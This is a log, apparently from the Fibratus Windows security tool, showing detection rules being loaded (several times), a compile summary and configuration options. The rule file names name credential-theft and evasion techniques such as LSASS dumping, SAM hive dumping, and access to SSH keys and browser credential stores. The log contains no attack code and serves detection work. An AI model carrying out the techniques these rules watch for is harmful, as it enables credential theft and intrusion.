+time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_unusual_directory.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T13:44:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T13:44:42+01:00 level=info msg=bootstrapping with pid 1604. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T13:44:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false port=>25 use-template=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-handle=>false buffer-size=>512 max-buffers=>36 enable-mem=>false stack-enrichment=>true enable-dns=>false enable-registry=>true min-buffers=>16 enable-net=>true enable-threadpool=>false flush-interval=>1s enable-thread=>true enable-fileio=>true enable-image=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s enabled=>false healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus trace-log=>false healthcheck=>true bulk-workers=>1 timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false] http=>[ enabled=>false endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic routing-key=>fibratus passive=>false exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient durable=>false timeout=>5s url=>amqp://localhost:5672]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-files=>[] skip-files=>false fastscan=>true skip-allocs=>false skip-registry=>false excluded-procs=>[] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-04T13:44:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T13:44:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T14:16:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T14:16:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T14:16:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T14:17:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T14:17:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T14:17:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 